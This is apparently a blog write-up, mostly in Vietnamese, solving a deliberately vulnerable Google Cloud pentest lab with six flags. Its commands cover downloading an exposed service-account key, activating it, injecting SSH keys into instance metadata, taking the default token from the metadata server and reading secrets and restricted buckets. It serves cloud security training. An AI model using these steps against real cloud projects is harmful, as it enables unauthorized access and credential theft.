GCP Pentest Lab CTF

"GCP-Pentest-Lab là một môi trường có lỗ hổng được thiết kế để khám phá và khai thác các lỗi cấu hình sai (misconfigurations) trên Google Cloud Platform (GCP). Dự án này chứa các lỗi cấu hình sai khác nhau (với 6 flag), và các flag này không có định dạng cụ thể. Người chơi bắt đầu với tư cách là người dùng ngẫu nhiên thông qua một ứng dụng web và phải tìm cách vượt qua các lỗ hổng bảo mật khác nhau mà không dựa vào các phương thức khai thác (exploits) truyền thống ở cấp độ web hoặc hệ điều hành."

Setup

  1. Clone the Github repository: https://github.com/HoangPhan10/GCP-goat-security.git

     git clone https://github.com/HoangPhan10/GCP-goat-security.git
    

  2. Open source with VScode, thêm file terraform.tfvars chứa giá trị các biến

     gcp_project_id = "<project_id>"
    

  3. Download các dependencies cho terraform

     terraform init
    

  4. Run source terraform

     terraform apply -auto-approve
    

  5. Bây giờ, có thể truy cập vào VM qua public IP

Flag-1

💡
Description: Flag 1 is in an open bucket

Solution:

  1. Truy cập vào trang web thông qua public IP

  2. Ta thấy các image này được lưu trữ trên GCP buckets. Tên bucket là rare-array-467416-p5-prod-bucket

  3. Ta thử list các image trong bucket này:rare-array-467416-p5-prod-bucket

    Nhận được lỗi thiếu quyền:

    💡
    Anonymous caller does not have storage.objects.list access to the Google Cloud Storage bucket. Permission storage.objects.list denied on resource (or it may not exist).
  4. Xem hết trang web, ta thấy có 1 image nằm ở bucket khác: rare-array-467416-p5-dev-bucket

  5. Tiếp tục thử list các image trong bucket này: rare-array-467416-p5-dev-bucket.

    Nó trả về thông tin tất cả các image trong bucket:

     <?xml version='1.0' encoding='UTF-8'?>
     <ListBucketResult xmlns='http://doc.s3.amazonaws.com/2006-03-01'>
       <Name>rare-array-467416-p5-dev-bucket</Name>
       <Prefix></Prefix>
       <Marker></Marker>
       <IsTruncated>false</IsTruncated>
       <Contents>
       <Contents>
         <Key>cert5.png</Key>
         <Generation>1754488657208732</Generation>
         <MetaGeneration>1</MetaGeneration>
         <LastModified>2025-08-06T13:57:37.211Z</LastModified>
         <ETag>"6a41469ba039ed2292edf50449bb3d8d"</ETag>
         <Size>96425</Size>
       </Contents>
       <Contents>
         <Key>cert6.png</Key>
         <Generation>1754488656708133</Generation>
         <MetaGeneration>1</MetaGeneration>
         <LastModified>2025-08-06T13:57:36.710Z</LastModified>
         <ETag>"2b7c1e6df1ef627aabbdd661a1965f5c"</ETag>
         <Size>7013</Size>
       </Contents>
       <Contents>
         <Key>flag1.txt</Key>
         <Generation>1754488659009630</Generation>
         <MetaGeneration>1</MetaGeneration>
         <LastModified>2025-08-06T13:57:39.011Z</LastModified>
         <ETag>"adac98aad02b7188e96cba6cdd747f20"</ETag>
         <Size>134</Size>
       </Contents>
       <Contents>
         <Key>meet2.jpg</Key>
         <Generation>1754488657210645</Generation>
         <MetaGeneration>1</MetaGeneration>
         <LastModified>2025-08-06T13:57:37.213Z</LastModified>
         <ETag>"c1b4474d0fc5e2385a28f549ca310f61"</ETag>
         <Size>69633</Size>
       </Contents>
       <Contents>
         <Key>sync_sa_key.json</Key>
         <Generation>1754488662310659</Generation>
         <MetaGeneration>1</MetaGeneration>
         <LastModified>2025-08-06T13:57:42.313Z</LastModified>
         <ETag>"5de436ff842b1335212f160b046b5a51"</ETag>
         <Size>3216</Size>
       </Contents>
     </ListBucketResult>
    
  6. Ta thấy có file flag1.txt

  7. Open file này, ta nhận được flag-1

    💡
    Flag1: Congrats, you found the first flag! Mixing DEV and PROD environments is a bit like throwing ice into a deep fryer: fun, but not safe!

Flag-2

💡
Description: Flag 2 is in another bucket, but this one isn’t public

Solution:

  1. Từ bucket rare-array-467416-p5-dev-bucket, ta thấy có 1 file sync_sa_key.json

  2. Khi tải xuống, chúng ta nhận được key bên dưới:

     curl -O https://storage.googleapis.com/rare-array-467416-p5-dev-bucket/sync_sa_key.json
    

  3. Tệp này chứ nội dung base64, decode base64 rồi lưu vào file decoded_sync_sa_key.json

    Ta thấy file này chứa nội dung xác thực 1 service_account.

  4. Bây giờ, tiến hành kích hoạt service_account này bằng file giải mã trước đó

     gcloud auth activate-service-account --key-file=decoded_sync_sa_key.json
     gcloud iam service-accounts describe rare-array-467416-p5-sync-sa@rare-array-467416-p5.iam.gserviceaccount.com
    

  5. Tiếp theo, list các bucket sử dụng service_account vừa rồi bằng lệnh gsutil

     gsutil ls -p <project_id>
    

  6. Liệt kê các file trong các bucket:

     gsutil ls gs://rare-array-467416-p5-mkt-bucket
    

  7. Trong bucket rare-array-467416-p5-secret-bucket có chứa flag2.txt

     gsutil ls gs://rare-array-467416-p5-secret-bucket
    

  8. Xem nội dung flag2.txt

     gsutil cp -r gs://rare-array-467416-p5-secret-bucket/flag2.txt .
     cat flag2.txt
    

    💡
    Flag2: You found the second flag! I was hiding in this bucket, but you found me! :D Turns out exposed Service Account credentials can be pretty dangerous...
  9. Ta có phát hiện thấy flag6.txt trong bucket rare-array-467416-p5-super-secret-bucket

     gsutil ls gs://rare-array-467416-p5-super-secret-bucket
    

  10. Khi tải xuống, bị báo lỗi 403 permission

    gsutil cp -r gs://rare-array-467416-p5-super-secret-bucket/flag6.txt .
    

Flag-3

💡
Description: Flag 3 is sitting inside some source code.

Solution:

  1. Thực hiện get các instance bằng service_account trước đó

  2. Tạo ssh-key để truy cập đến instance

     ssh-keygen -t rsa -b 4096
    

  3. Thêm public key vào metadata

     gcloud compute instances add-metadata <name_instance>
     --metadata=ssh-keys="ubuntu:<ssh-key-gcp.pub> ubuntu" --zone=<zone_instance>
    

  4. Sử dụng private key để ssh vào instance

     ssh -i ssh-key-gcp ubuntu@<public_ip>
    

  5. Trong thư mục /etc, ta thấy có thư mục gcp-pentest-flask-app

  6. Vào thư mục, liệt kê các file trong nó

  7. Ta thấy có file app.py, ta nhận được flag trong file này

💡
Flag-3: #Hey there! I am the third flag! #Putting valuable stuff directly in your source code is never a good idea!

Flag-4

💡
Description: Flag 4 is a secret, literally!

Solution:

  1. Lấy access_token_default của vmware

     curl -H 'Metadata-Flavor: Google' 
     http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
    

  2. Truy cập secret manager bằng token vừa rồi

     export ACCESS_TOKEN_DEFAULT_SA=<token>
    

     curl -H "Authorization: Bearer $ACCESS_TOKEN_DEFAULT_SA" 
     "https://secretmanager.googleapis.com/v1/projects/<project_id>/secrets"
    

  3. Ta thấy có 1 secret tên flag-4, xem các version của nó:

     curl -H "Authorization: Bearer $ACCESS_TOKEN_DEFAULT_SA" 
     "https://secretmanager.googleapis.com/v1/projects/<project_id>/secrets/flag-4/versions"
    

  4. Xem nội dung version:1

     curl -H "Authorization: Bearer $ACCESS_TOKEN_DEFAULT_SA" 
     "https://secretmanager.googleapis.com/v1/projects/<project_id>/secrets/flag-4/versions/1:access"
    

  5. Data đang được mã hóa base64, giải mã nó ta nhận được flag

     echo <data> | base64 -d
    

💡
Flag-4: Flag 4 - Congratulations, you found the secret, literally!

Flag-5

💡
Description: Flag 5 is inside some instance but isn’t a file!

Solution:

  1. Ta xem thông tin metadata của instance:

     curl -H "Authorization: Bearer $ACCESS_TOKEN_DEFAULT_SA" 
     "https://www.googleapis.com/compute/v1/projects/<project_id>/zones/<zone_instance>/instances
     /<name_instance>?fields=metadata"
    

💡
Flag5: Hello, im the 5th flag!! Turns out some people like to do some insecure stuff with environment variables and startup scripts. Good think the metadata server is always here to help! :D

Flag-6

💡
Description: Flag 6 is in yet another bucket, but this one is the most restricted yet!

Solution:

  1. Trong phần lấy flag2 , ta có tìm được thêm flag6 nhưng xem bị lỗi 403 permission

  2. Bây giờ, thử lại với access token trong instance

     curl -H "Authorization: Bearer $ACCESS_TOKEN_DEFAULT_SA" "https://storage.googleapis.com/storage/v1/b/<bucket_super_secret>/o/flag6.txt?alt=media"
    

💡
Flag6: Woah, you found the last (6th) flag!
0
Subscribe to my newsletter

Read articles from Phan Văn Hoàng directly inside your inbox. Subscribe to the newsletter, and don't miss out.

Written by

Phan Văn Hoàng
Phan Văn Hoàng